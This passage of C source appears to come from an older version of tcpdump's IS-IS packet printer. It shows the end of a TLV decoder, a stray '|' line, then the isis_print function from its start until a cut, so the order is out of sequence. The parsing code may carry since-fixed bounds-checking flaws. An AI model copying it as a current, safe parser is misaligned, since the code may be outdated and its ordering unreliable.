tptr+=ISIS_TLV_RESTART_SIGNALING_FLAGLEN;
tmp-=ISIS_TLV_RESTART_SIGNALING_FLAGLEN;
/* is there anything other than the flags field? */
if (tmp == 0)
break;
if (tmp < ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN);
ND_PRINT((ndo, ", Remaining holding time %us", EXTRACT_16BITS(tptr)));
tptr+=ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN;
tmp-=ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN;
/* is there an additional sysid field present ?*/
if (tmp == SYSTEM_ID_LEN) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN);
ND_PRINT((ndo, ", for %s", isis_print_id(tptr,SYSTEM_ID_LEN)));
}
break;
case ISIS_TLV_IDRP_INFO:
if (tmp < ISIS_TLV_IDRP_INFO_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_IDRP_INFO_MINLEN);
ND_PRINT((ndo, "\n\t Inter-Domain Information Type: %s",
tok2str(isis_subtlv_idrp_values,
"Unknown (0x%02x)",
*tptr)));
switch (*tptr++) {
case ISIS_SUBTLV_IDRP_ASN:
ND_TCHECK2(*tptr, 2); /* fetch AS number */
ND_PRINT((ndo, "AS Number: %u", EXTRACT_16BITS(tptr)));
break;
case ISIS_SUBTLV_IDRP_LOCAL:
case ISIS_SUBTLV_IDRP_RES:
default:
if (!print_unknown_data(ndo, tptr, "\n\t ", tlv_len - 1))
return(0);
break;
}
break;
case ISIS_TLV_LSP_BUFFERSIZE:
if (tmp < ISIS_TLV_LSP_BUFFERSIZE_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_LSP_BUFFERSIZE_MINLEN);
ND_PRINT((ndo, "\n\t LSP Buffersize: %u", EXTRACT_16BITS(tptr)));
break;
case ISIS_TLV_PART_DIS:
while (tmp >= SYSTEM_ID_LEN) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN);
ND_PRINT((ndo, "\n\t %s", isis_print_id(tptr, SYSTEM_ID_LEN)));
tptr+=SYSTEM_ID_LEN;
tmp-=SYSTEM_ID_LEN;
}
break;
case ISIS_TLV_PREFIX_NEIGH:
if (tmp < sizeof(struct isis_metric_block))
break;
ND_TCHECK2(*tptr, sizeof(struct isis_metric_block));
ND_PRINT((ndo, "\n\t Metric Block"));
isis_print_metric_block(ndo, (const struct isis_metric_block *)tptr);
tptr+=sizeof(struct isis_metric_block);
tmp-=sizeof(struct isis_metric_block);
while(tmp>0) {
ND_TCHECK2(*tptr, 1);
prefix_len=*tptr++; /* read out prefix length in semioctets*/
if (prefix_len < 2) {
ND_PRINT((ndo, "\n\t\tAddress: prefix length %u < 2", prefix_len));
break;
}
tmp--;
if (tmp < prefix_len/2)
break;
ND_TCHECK2(*tptr, prefix_len / 2);
ND_PRINT((ndo, "\n\t\tAddress: %s/%u",
isonsap_string(ndo, tptr, prefix_len / 2), prefix_len * 4));
tptr+=prefix_len/2;
tmp-=prefix_len/2;
}
break;
case ISIS_TLV_IIH_SEQNR:
if (tmp < ISIS_TLV_IIH_SEQNR_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_IIH_SEQNR_MINLEN); /* check if four bytes are on the wire */
ND_PRINT((ndo, "\n\t Sequence number: %u", EXTRACT_32BITS(tptr)));
break;
case ISIS_TLV_VENDOR_PRIVATE:
if (tmp < ISIS_TLV_VENDOR_PRIVATE_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_VENDOR_PRIVATE_MINLEN); /* check if enough byte for a full oui */
vendor_id = EXTRACT_24BITS(tptr);
ND_PRINT((ndo, "\n\t Vendor: %s (%u)",
tok2str(oui_values, "Unknown", vendor_id),
vendor_id));
tptr+=3;
tmp-=3;
if (tmp > 0) /* hexdump the rest */
if (!print_unknown_data(ndo, tptr, "\n\t\t", tmp))
return(0);
break;
/*
* FIXME those are the defined TLVs that lack a decoder
* you are welcome to contribute code ;-)
*/
case ISIS_TLV_DECNET_PHASE4:
case ISIS_TLV_LUCENT_PRIVATE:
case ISIS_TLV_IPAUTH:
case ISIS_TLV_NORTEL_PRIVATE1:
case ISIS_TLV_NORTEL_PRIVATE2:
default:
if (ndo->ndo_vflag <= 1) {
if (!print_unknown_data(ndo, pptr, "\n\t\t", tlv_len))
return(0);
}
break;
}
/* do we want to see an additionally hexdump ? */
if (ndo->ndo_vflag> 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", tlv_len))
return(0);
}
pptr += tlv_len;
packet_len -= tlv_len;
}
if (packet_len != 0) {
ND_PRINT((ndo, "\n\t %u straggler bytes", packet_len));
}
return (1);
trunc:
ND_PRINT((ndo, "%s", tstr));
return (1);
trunctlv:
ND_PRINT((ndo, "\n\t\t"));
ND_PRINT((ndo, "%s", tstr));
return(1);
}
|
isis_print(netdissect_options *ndo,
const uint8_t *p, u_int length)
{
const struct isis_common_header *isis_header;
const struct isis_iih_lan_header *header_iih_lan;
const struct isis_iih_ptp_header *header_iih_ptp;
const struct isis_lsp_header *header_lsp;
const struct isis_csnp_header *header_csnp;
const struct isis_psnp_header *header_psnp;
const struct isis_tlv_lsp *tlv_lsp;
const struct isis_tlv_ptp_adj *tlv_ptp_adj;
const struct isis_tlv_is_reach *tlv_is_reach;
const struct isis_tlv_es_reach *tlv_es_reach;
uint8_t pdu_type, max_area, id_length, tlv_type, tlv_len, tmp, alen, lan_alen, prefix_len;
uint8_t ext_is_len, ext_ip_len, mt_len;
const uint8_t *optr, *pptr, *tptr;
u_short packet_len,pdu_len, key_id;
u_int i,vendor_id;
int sigcheck;
packet_len=length;
optr = p; /* initialize the _o_riginal pointer to the packet start -
need it for parsing the checksum TLV and authentication
TLV verification */
isis_header = (const struct isis_common_header *)p;
ND_TCHECK(*isis_header);
if (length < ISIS_COMMON_HEADER_SIZE)
goto trunc;
pptr = p+(ISIS_COMMON_HEADER_SIZE);
header_iih_lan = (const struct isis_iih_lan_header *)pptr;
header_iih_ptp = (const struct isis_iih_ptp_header *)pptr;
header_lsp = (const struct isis_lsp_header *)pptr;
header_csnp = (const struct isis_csnp_header *)pptr;
header_psnp = (const struct isis_psnp_header *)pptr;
if (!ndo->ndo_eflag)
ND_PRINT((ndo, "IS-IS"));
/*
* Sanity checking of the header.
*/
if (isis_header->version != ISIS_VERSION) {
ND_PRINT((ndo, "version %d packet not supported", isis_header->version));
return (0);
}
if ((isis_header->id_length != SYSTEM_ID_LEN) && (isis_header->id_length != 0)) {
ND_PRINT((ndo, "system ID length of %d is not supported",
isis_header->id_length));
return (0);
}
if (isis_header->pdu_version != ISIS_VERSION) {
ND_PRINT((ndo, "version %d packet not supported", isis_header->pdu_version));
return (0);
}
if (length < isis_header->fixed_len) {
ND_PRINT((ndo, "fixed header length %u > packet length %u", isis_header->fixed_len, length));
return (0);
}
if (isis_header->fixed_len < ISIS_COMMON_HEADER_SIZE) {
ND_PRINT((ndo, "fixed header length %u < minimum header size %u", isis_header->fixed_len, (u_int)ISIS_COMMON_HEADER_SIZE));
return (0);
}
max_area = isis_header->max_area;
switch(max_area) {
case 0:
max_area = 3; /* silly shit */
break;
case 255:
ND_PRINT((ndo, "bad packet -- 255 areas"));
return (0);
default:
break;
}
id_length = isis_header->id_length;
switch(id_length) {
case 0:
id_length = 6; /* silly shit again */
break;
case 1: /* 1-8 are valid sys-ID lenghts */
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
break;
case 255:
id_length = 0; /* entirely useless */
break;
default:
break;
}
/* toss any non 6-byte sys-ID len PDUs */
if (id_length != 6 ) {
ND_PRINT((ndo, "bad packet -- illegal sys-ID length (%u)", id_length));
return (0);
}
pdu_type=isis_header->pdu_type;
/* in non-verbose mode print the basic PDU Type plus PDU specific brief information*/
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, "%s%s",
ndo->ndo_eflag ? "" : ", ",
tok2str(isis_pdu_values, "unknown PDU-Type %u", pdu_type)));
} else {
/* ok they seem to want to know everything - lets fully decode it */
ND_PRINT((ndo, "%slength %u", ndo->ndo_eflag ? "" : ", ", length));
ND_PRINT((ndo, "\n\t%s, hlen: %u, v: %u, pdu-v: %u, sys-id-len: %u (%u), max-area: %u (%u)",
tok2str(isis_pdu_values,
"unknown, type %u",
pdu_type),
isis_header->fixed_len,
isis_header->version,
isis_header->pdu_version,
id_length,
isis_header->id_length,
max_area,
isis_header->max_area));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, optr, "\n\t", 8)) /* provide the _o_riginal pointer */
return (0); /* for optionally debugging the common header */
}
}
switch (pdu_type) {
case ISIS_PDU_L1_LAN_IIH:
case ISIS_PDU_L2_LAN_IIH:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_iih_lan);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s",
isis_print_id(header_iih_lan->source_id, SYSTEM_ID_LEN)));
ND_PRINT((ndo, ", lan-id %s, prio %u",
isis_print_id(header_iih_lan->lan_id,NODE_ID_LEN),
header_iih_lan->priority));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_iih_lan->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, holding time: %us, Flags: [%s]",
isis_print_id(header_iih_lan->source_id,SYSTEM_ID_LEN),
EXTRACT_16BITS(header_iih_lan->holding_time),
tok2str(isis_iih_circuit_type_values,
"unknown circuit type 0x%02x",
header_iih_lan->circuit_type)));
ND_PRINT((ndo, "\n\t lan-id: %s, Priority: %u, PDU length: %u",
isis_print_id(header_iih_lan->lan_id, NODE_ID_LEN),
(header_iih_lan->priority) & ISIS_LAN_PRIORITY_MASK,
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_IIH_LAN_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE);
break;
case ISIS_PDU_PTP_IIH:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_iih_ptp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_iih_ptp->source_id, SYSTEM_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_iih_ptp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, holding time: %us, Flags: [%s]",
isis_print_id(header_iih_ptp->source_id,SYSTEM_ID_LEN),
EXTRACT_16BITS(header_iih_ptp->holding_time),
tok2str(isis_iih_circuit_type_values,
"unknown circuit type 0x%02x",
header_iih_ptp->circuit_type)));
ND_PRINT((ndo, "\n\t circuit-id: 0x%02x, PDU length: %u",
header_iih_ptp->circuit_id,
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_IIH_PTP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE);
break;
case ISIS_PDU_L1_LSP:
case ISIS_PDU_L2_LSP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)ISIS_LSP_HEADER_SIZE));
return (0);
}
ND_TCHECK(*header_lsp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", lsp-id %s, seq 0x%08x, lifetime %5us",
isis_print_id(header_lsp->lsp_id, LSP_ID_LEN),
EXTRACT_32BITS(header_lsp->sequence_number),
EXTRACT_16BITS(header_lsp->remaining_lifetime)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_lsp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t lsp-id: %s, seq: 0x%08x, lifetime: %5us\n\t chksum: 0x%04x",
isis_print_id(header_lsp->lsp_id, LSP_ID_LEN),
EXTRACT_32BITS(header_lsp->sequence_number),
EXTRACT_16BITS(header_lsp->remaining_lifetime),
EXTRACT_16BITS(header_lsp->checksum)));
osi_print_cksum(ndo, (const uint8_t *)header_lsp->lsp_id,
EXTRACT_16BITS(header_lsp->checksum),
12, length-12);
ND_PRINT((ndo, ", PDU length: %u, Flags: [ %s",
pdu_len,
ISIS_MASK_LSP_OL_BIT(header_lsp->typeblock) ? "Overload bit set, " : ""));
if (ISIS_MASK_LSP_ATT_BITS(header_lsp->typeblock)) {
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_DEFAULT_BIT(header_lsp->typeblock) ? "default " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_DELAY_BIT(header_lsp->typeblock) ? "delay " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_EXPENSE_BIT(header_lsp->typeblock) ? "expense " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_ERROR_BIT(header_lsp->typeblock) ? "error " : ""));
ND_PRINT((ndo, "ATT bit set, "));
}
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_PARTITION_BIT(header_lsp->typeblock) ? "P bit set, " : ""));
ND_PRINT((ndo, "%s ]", tok2str(isis_lsp_istype_values, "Unknown(0x%x)",
ISIS_MASK_LSP_ISTYPE_BITS(header_lsp->typeblock))));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_LSP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE);
break;
case ISIS_PDU_L1_CSNP:
case ISIS_PDU_L2_CSNP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_csnp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_csnp->source_id, NODE_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_csnp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, PDU length: %u",
isis_print_id(header_csnp->source_id, NODE_ID_LEN),
pdu_len));
ND_PRINT((ndo, "\n\t start lsp-id: %s",
isis_print_id(header_csnp->start_lsp_id, LSP_ID_LEN)));
ND_PRINT((ndo, "\n\t end lsp-id: %s",
isis_print_id(header_csnp->end_lsp_id, LSP_ID_LEN)));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_CSNP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE);
break;
case ISIS_PDU_L1_PSNP:
case ISIS_PDU_L2_PSNP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)) {
ND_PRINT((ndo, "- bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_psnp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_psnp->source_id, NODE_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_psnp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, PDU length: %u",
isis_print_id(header_psnp->source_id, NODE_ID_LEN),
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_PSNP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE);
break;
default:
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", length %u", length));
return (1);
}
(void)print_unknown_data(ndo, pptr, "\n\t ", length);
return (0);
}
/*
* Now print the TLV's.
*/
while (packet_len > 0) {
ND_TCHECK2(*pptr, 2);
if (packet_len < 2)
goto trunc;
tlv_type = *pptr++;
tlv_len = *pptr++;
tmp =tlv_len; /* copy temporary len & pointer to packet data */
tptr = pptr;
packet_len -= 2;
/* first lets see if we know the TLVs name*/
ND_PRINT((ndo, "\n\t %s TLV #%u, length: %u",
tok2str(isis_tlv_values,
"unknown",
tlv_type),
tlv_type,
tlv_len));
if (tlv_len == 0) /* something is invalid */
continue;
if (packet_len < tlv_len)
goto trunc;
/* now check if we have a decoder otherwise do a hexdump at the end*/
switch (tlv_type) {
case ISIS_TLV_AREA_ADDR:
ND_TCHECK2(*tptr, 1);
alen = *tptr++;
while (tmp && alen < tmp) {
ND_TCHECK2(*tptr, alen);
ND_PRINT((ndo, "\n\t Area address (length: %u): %s",
alen,
isonsap_string(ndo, tptr, alen)));
tptr += alen;
tmp -= alen + 1;
if (tmp==0) /* if this is the last area address do not attemt a boundary check */
break;
ND_TCHECK2(*tptr, 1);
alen = *tptr++;
}
break;
case ISIS_TLV_ISNEIGH:
while (tmp >= ETHER_ADDR_LEN) {
ND_TCHECK2(*tptr, ETHER_ADDR_LEN);
ND_PRINT((ndo, "\n\t SNPA: %s", isis_print_id(tptr, ETHER_ADDR_LEN)));
tmp -= ETHER_ADDR_LEN;
tptr += ETHER_ADDR_LEN;
}
break;
case ISIS_TLV_ISNEIGH_VARLEN:
if (!ND_TTEST2(*tptr, 1) || tmp < 3) /* min. TLV length */
goto trunctlv;
lan_alen = *tptr++; /* LAN address length */
if (lan_alen == 0) {
ND_PRINT((ndo, "\n\t LAN address length 0 bytes (invalid)"));
break;
}
tmp --;
ND_PRINT((ndo, "\n\t LAN address length %u bytes ", lan_alen));
while (tmp >= lan_alen) {
ND_TCHECK2(*tptr, lan_alen);
ND_PRINT((ndo, "\n\t\tIS Neighbor: %s", isis_print_id(tptr, lan_alen)));
tmp -= lan_alen;
tptr +=lan_alen;
}
break;
case ISIS_TLV_PADDING:
break;
case ISIS_TLV_MT_IS_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=mt_len;
tmp-=mt_len;
while (tmp >= 2+NODE_ID_LEN+3+1) {
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_IS_ALIAS_ID:
while (tmp >= NODE_ID_LEN+1) { /* is it worth attempting a decode ? */
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_EXT_IS_REACH:
while (tmp >= NODE_ID_LEN+3+1) { /* is it worth attempting a decode ? */
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_IS_REACH:
ND_TCHECK2(*tptr,1); /* check if there is one byte left to read out the virtual flag */
ND_PRINT((ndo, "\n\t %s",
tok2str(isis_is_reach_virtual_values,
"bogus virtual flag 0x%02x",
*tptr++)));
tlv_is_reach = (const struct isis_tlv_is_reach *)tptr;
while (tmp >= sizeof(struct isis_tlv_is_reach)) {
ND_TCHECK(*tlv_is_reach);
ND_PRINT((ndo, "\n\t IS Neighbor: %s",
isis_print_id(tlv_is_reach->neighbor_nodeid, NODE_ID_LEN)));
isis_print_metric_block(ndo, &tlv_is_reach->isis_metric_block);
tmp -= sizeof(struct isis_tlv_is_reach);
tlv_is_reach++;
}
break;
case ISIS_TLV_ESNEIGH:
tlv_es_reach = (const struct isis_tlv_es_reach *)tptr;
while (tmp >= sizeof(struct isis_tlv_es_reach)) {
ND_TCHECK(*tlv_es_reach);
ND_PRINT((ndo, "\n\t ES Neighbor: %s",
isis_print_id(tlv_es_reach->neighbor_sysid, SYSTEM_ID_LEN)));
isis_print_metric_block(ndo, &tlv_es_reach->isis_metric_block);
tmp -= sizeof(struct isis_tlv_es_reach);
tlv_es_reach++;
}
break;
/* those two TLVs share the same format */
case ISIS_TLV_INT_IP_REACH:
case ISIS_TLV_EXT_IP_REACH:
if (!isis_print_tlv_ip_reach(ndo, pptr, "\n\t ", tlv_len))
return (1);
break;
case ISIS_TLV_EXTD_IP_REACH:
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_MT_IP_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) { /* did something go wrong ? */
goto trunctlv;
}
tptr+=mt_len;
tmp-=mt_len;
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_IP6_REACH:
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET6);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_MT_IP6_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) { /* did something go wrong ? */
goto trunctlv;
}
tptr+=mt_len;
tmp-=mt_len;
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET6);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_IP6ADDR:
while (tmp>=sizeof(struct in6_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in6_addr));
ND_PRINT((ndo, "\n\t IPv6 interface address: %s",
ip6addr_string(ndo, tptr)));
tptr += sizeof(struct in6_addr);
tmp -= sizeof(struct in6_addr);
}
break;
case ISIS_TLV_AUTH:
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, "\n\t %s: ",
tok2str(isis_subtlv_auth_values,
"unknown Authentication type 0x%02x",
*tptr)));
switch (*tptr) {
case ISIS_SUBTLV_AUTH_SIMPLE:
if (fn_printzp(ndo, tptr + 1, tlv_len - 1, ndo->ndo_snapend))
goto trunctlv;
break;
case ISIS_SUBTLV_AUTH_MD5:
for(i=1;i<tlv_len;i++) {
ND_TCHECK2(*(tptr + i), 1);
ND_PRINT((ndo, "%02x", *(tptr + i)));
}
if (tlv_len != ISIS_SUBTLV_AUTH_MD5_LEN+1)
ND_PRINT((ndo, ", (invalid subTLV) "));
sigcheck = signature_verify(ndo, optr, length, tptr + 1,
isis_clear_checksum_lifetime,
header_lsp);
ND_PRINT((ndo, " (%s)", tok2str(signature_check_values, "Unknown", sigcheck)));
break;
case ISIS_SUBTLV_AUTH_GENERIC:
ND_TCHECK2(*(tptr + 1), 2);
key_id = EXTRACT_16BITS((tptr+1));
ND_PRINT((ndo, "%u, password: ", key_id));
for(i=1 + sizeof(uint16_t);i<tlv_len;i++) {
ND_TCHECK2(*(tptr + i), 1);
ND_PRINT((ndo, "%02x", *(tptr + i)));
}
break;
case ISIS_SUBTLV_AUTH_PRIVATE:
default:
if (!print_unknown_data(ndo, tptr + 1, "\n\t\t ", tlv_len - 1))
return(0);
break;
}
break;
case ISIS_TLV_PTP_ADJ:
tlv_ptp_adj = (const struct isis_tlv_ptp_adj *)tptr;
if(tmp>=1) {
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, "\n\t Adjacency State: %s (%u)",
tok2str(isis_ptp_adjancey_values, "unknown", *tptr),
*tptr));
tmp--;
}
if(tmp>sizeof(tlv_ptp_adj->extd_local_circuit_id)) {
ND_TCHECK(tlv_ptp_adj->extd_local_circuit_id);
ND_PRINT((ndo, "\n\t Extended Local circuit-ID: 0x%08x",
EXTRACT_32BITS(tlv_ptp_adj->extd_local_circuit_id)));
tmp-=sizeof(tlv_ptp_adj->extd_local_circuit_id);
}
if(tmp>=SYSTEM_ID_LEN) {
ND_TCHECK2(tlv_ptp_adj->neighbor_sysid, SYSTEM_ID_LEN);
ND_PRINT((ndo, "\n\t Neighbor System-ID: %s",
isis_print_id(tlv_ptp_adj->neighbor_sysid, SYSTEM_ID_LEN)));
tmp-=SYSTEM_ID_LEN;
}
if(tmp>=sizeof(tlv_ptp_adj->neighbor_extd_local_circuit_id)) {
ND_TCHECK(tlv_ptp_adj->neighbor_extd_local_circuit_id);
ND_PRINT((ndo, "\n\t Neighbor Extended Local circuit-ID: 0x%08x",
EXTRACT_32BITS(tlv_ptp_adj->neighbor_extd_local_circuit_id)));
}
break;
case ISIS_TLV_PROTOCOLS:
ND_PRINT((ndo, "\n\t NLPID(s): "));
while (tmp>0) {
ND_TCHECK2(*(tptr), 1);
ND_PRINT((ndo, "%s (0x%02x)",
tok2str(nlpid_values,
"unknown",
*tptr),
*tptr));
if (tmp>1) /* further NPLIDs ? - put comma */
ND_PRINT((ndo, ", "));
tptr++;
tmp--;
}
break;
case ISIS_TLV_MT_PORT_CAP:
{
ND_TCHECK2(*(tptr), 2);
ND_PRINT((ndo, "\n\t RES: %d, MTID(s): %d",
(EXTRACT_16BITS (tptr) >> 12),
(EXTRACT_16BITS (tptr) & 0x0fff)));
tmp = tmp-2;
tptr = tptr+2;
if (tmp)
isis_print_mt_port_cap_subtlv(ndo, tptr, tmp);
break;
}
case ISIS_TLV_MT_CAPABILITY:
ND_TCHECK2(*(tptr), 2);
ND_PRINT((ndo, "\n\t O: %d, RES: %d, MTID(s): %d",
(EXTRACT_16BITS(tptr) >> 15) & 0x01,
(EXTRACT_16BITS(tptr) >> 12) & 0x07,
EXTRACT_16BITS(tptr) & 0x0fff));
tmp = tmp-2;
tptr = tptr+2;
if (tmp)
isis_print_mt_capability_subtlv(ndo, tptr, tmp);
break;
case ISIS_TLV_TE_ROUTER_ID:
ND_TCHECK2(*pptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t Traffic Engineering Router ID: %s", ipaddr_string(ndo, pptr)));
break;
case ISIS_TLV_IPADDR:
while (tmp>=sizeof(struct in_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 interface address: %s", ipaddr_string(ndo, tptr)));
tptr += sizeof(struct in_addr);
tmp -= sizeof(struct in_addr);
}
break;
case ISIS_TLV_HOSTNAME:
ND_PRINT((ndo, "\n\t Hostname: "));
if (fn_printzp(ndo, tptr, tmp, ndo->ndo_snapend))
goto trunctlv;
break;
case ISIS_TLV_SHARED_RISK_GROUP:
if (tmp < NODE_ID_LEN)
break;
ND_TCHECK2(*tptr, NODE_ID_LEN);
ND_PRINT((ndo, "\n\t IS Neighbor: %s", isis_print_id(tptr, NODE_ID_LEN)));
tptr+=(NODE_ID_LEN);
tmp-=(NODE_ID_LEN);
if (tmp < 1)
break;
ND_TCHECK2(*tptr, 1);
